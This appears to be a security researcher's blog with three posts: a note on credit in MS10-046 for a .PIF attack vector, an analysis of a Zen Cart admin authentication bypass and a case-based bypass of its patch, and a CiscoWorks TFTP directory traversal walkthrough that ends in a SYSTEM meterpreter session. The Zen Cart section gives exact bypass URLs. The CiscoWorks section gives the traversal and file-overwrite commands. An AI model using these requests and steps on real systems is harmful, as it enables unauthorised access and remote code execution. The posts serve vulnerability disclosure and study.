Why MS10-046 mentions my name

Some people have asked me why Microsoft credits me in MS10-046 (a.k.a. the patch for the lnk bug). In version 1.0 of the original advisory they only mentioned .LNK files as an attack vector. When playing around with the bug and the published exploit code, I discovered the vulnerability could also be exploited with .PIF files (MS-DOS shortcuts). This was the case even after applying the workaround (disabling the display of icons on lnk files). So I contacted the MSRC, they updated the workaround and were kind enough to credit me for the additional attack vector.

Zen Cart authentication bypass

Zen Cart is a popular open source e-commerce application, written in PHP. Yesterday, two exploits for Zen Cart showed up on milw0rm. The first one is a remote code execution, the second one an SQL injection exploit. The root cause of the two bugs however, is the same: an authentication bypass on the administrative interface of Zen Cart discoverd by Ghyslain/BlackH. Zen Cart has released a patch for this issue here.

Zen Cart does a pretty decent job verifying administrators are actually authenticated, however it has some exceptions to the rule:

This code is present in /admin/includes/init_includes/init_admin_auth.php (slightly simplified code):

if (if (!isset($_SESSION['admin_id']) &&
!(basename($SERVER['PHP_SELF']) == 'password_forgotten.php')) {
    zen_redirect('login.php');
}

So basically, if you are not logged in, Zen Cart will redirect you to the login page, unless you are accessing the password_forgotten.php page.

The problem here is trusting the PHP_SELF variable to determine which script is being accessed. Here a bit of strange PHP behaviour comes in. If I request http://server.com/index.php, the PHP_SELF variable will be /index.php. However if I request http://server.com/index.php/foobar , the PHP_SELF variable will be /index.php/foobar, but the script being executed will still be index.php!

So in this case we can trick Zen Cart into thinking we are accessing password_forgotten.php, while we are actually accessing a different file by requesting:

http://target/admin/customers.php/password_forgotten.php

The file we are executing is customers.php, but basename(PHP_SELF) will return password_forgotten.php! Zen Cart thinks we are accessing the ‘I forgot my password’ page, which does not require authentication and allows us to continue without logging in. We can now view a list of customers on our target site, without logging in!

The code execution exploit uses this to access an admin script that allows an administrator to create new files. The exploit uses this functionality to create a new php file on the server, this php file contains a simple backdoor and voila: remote code execution.

Luckily Zen Cart has released a fix for this (although I expect most installations are still vulnerable). I took a look at the patch and noticed it attempts to fix the bug by checking if the string '.php' appears more than once in PHP_SELF. At first this seems to be an (ugly but) effective fix and I think it is in most cases. However, Zen Cart supports multiple platforms, including Windows. As you may know, filenames on Windows are not case sensitive (foo.txt is the same as foo.TXT). The new check however only checks for lowercase instances of '.php'… So if our target is a Windows system, we can circumvent the patch by requesting:

http://target/admin/customers.PHP/password_forgotten.php

So by changing the extension of customers.php to .PHP, we modify the PHP_SELF variable so '.php' is only present once and bypass the new check! I modified the code execution exploit on milw0rm to reflect this and was able to succesfully exploit my installation of Zen Cart on a Windows platform.

Of course I notified the Zen Cart developers of the shortcoming in their patch and they have released an updated version which does a case insensitive check.

CiscoWorks TFTP directory traversal exploit

A couple of days ago, Cisco released an advisory for a CiscoWorks TFTP directory traversal vulnerability. The bug was discovered by Cisco internally. So far I have not seen any details published so I decided to see if I could find the bug. I have access to a Windows 2000 machine running CiscoWorks Common Services 3.0.3. It is not the most recent version, but it is listed in the advisory as vulnerable. The TFTP server is indeed enabled by default and exploitation is trivial:

niels@hac:~$ tftp target
tftp> get ...\...\...\...\...\...\...\boot.ini
Received 187 bytes in 0.0 seconds
tftp>

Assuming this is the same bug (and not just present in my old version) I'm surprised nobody has found this before. I ran a Nessus scan on the server and it even detected the vulnerability using a generic TFTP directory traversal plug-in.

The TFTP server will not allow you to create new files on the server, but it will allow you to overwrite existing files. It runs as SYSTEM, so all we need to do is overwrite an interesting file to get instant remote code execution. Looking at what else CiscoWorks is running, I noticed an Apache web server running on port 1741. By default, it redirects you to a login page on a different port, but looking at the configuration I noticed you can access some Perl CGI scripts through this interface. As the Apache server runs as SYSTEM as well, overwriting these scripts should give us remote code execution.

The TFTP root is "C:\Program Files\CSCOpx\tftpboot" by default. The directory "C:\Program Files\CSCOpx\cgi-bin\error" contains several publicly accessible CGI scripts, such as 404.pl and 500.pl.

I replaced 500.pl with an executable, in my case a standalone meterpreter generated using msfpayload:

tftp> binary
tftp> put meter.exe ...\cgi-bin\error\500.pl
Sent 9732 bytes in 0.1 seconds

Apache expects a Perl file, so we will need a wrapper to start 500.pl (which is really an .exe, not a Perl file), so I created a small Perl script which just does a system("500.pl"); and uploaded it to the server:

tftp> put exec.pl ...\cgi-bin\error\404.pl
Sent 36 bytes in 0.0 seconds

Windows won't mind that the 500.pl file does not have an .exe extension, as long as we execute it via the 404.pl file. So now I simply point a web browser to http://target:1741/cgi-bin/error/404.pl. 404.pl executes our meterpreter and game over:

[*] Meterpreter session 1 opened (hac:4444 -> target:1298)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Update: I tested this on CiscoWorks LMS 2.6 (Common Services 3.0.5) today. It works perfectly.